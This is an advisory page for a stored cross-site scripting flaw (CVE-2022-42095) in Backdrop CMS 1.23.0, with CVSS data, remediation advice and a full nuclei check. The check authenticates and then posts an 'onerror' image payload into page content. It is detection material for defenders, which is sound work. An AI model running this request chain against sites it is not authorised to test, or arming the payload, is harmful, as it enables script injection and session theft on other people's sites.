Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)

mediumseverity

4.8CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET /?q=user/login ; POST /?q=user/login ; GET /?q=node/add/page ; POST /?q=node/add/page ; POST /?q={{randstr}}
Positive when: status_code_5 == 200 and contains(header_5, 'text/html') and contains(body_5, "<img src=\"x\" onerror=\"alert(document.domain)\" />") and contains(body_5, 'Backdrop CMS')

Run it with nuclei: nuclei -id CVE-2022-42095 -u <target>

The full check

id: CVE-2022-42095

info:
  name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/backdrop/backdrop/releases/tag/1.23.0
    - https://github.com/bypazs/CVE-2022-42095
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42095
    - https://backdropcms.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-42095
    cwe-id: CWE-79
    epss-score: 0.022
    epss-percentile: 0.82661
    cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: backdropcms
    product: backdrop_cms
  tags: cve2022,cve,xss,cms,backdrop,authenticated,backdropcms,vuln

http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
      - |
        GET /?q=node/add/page HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=node/add/page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        title={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save
      - |
        POST /?q={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_5 == 200"
          - "contains(header_5, 'text/html')"
          - 'contains(body_5, "<img src=\"x\" onerror=\"alert(document.domain)\" />")'
          - "contains(body_5, 'Backdrop CMS')"
        condition: and

    extractors:
      - type: regex
        name: form_id_1
        group: 1
        regex:
          - 'name="form_build_id" value="(.*)"'
        internal: true

      - type: regex
        name: form_id_2
        group: 1
        regex:
          - 'name="form_build_id" value="(.*)"'
        internal: true

      - type: regex
        name: form_token
        group: 1
        regex:
          - 'name="form_token" value="(.*)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from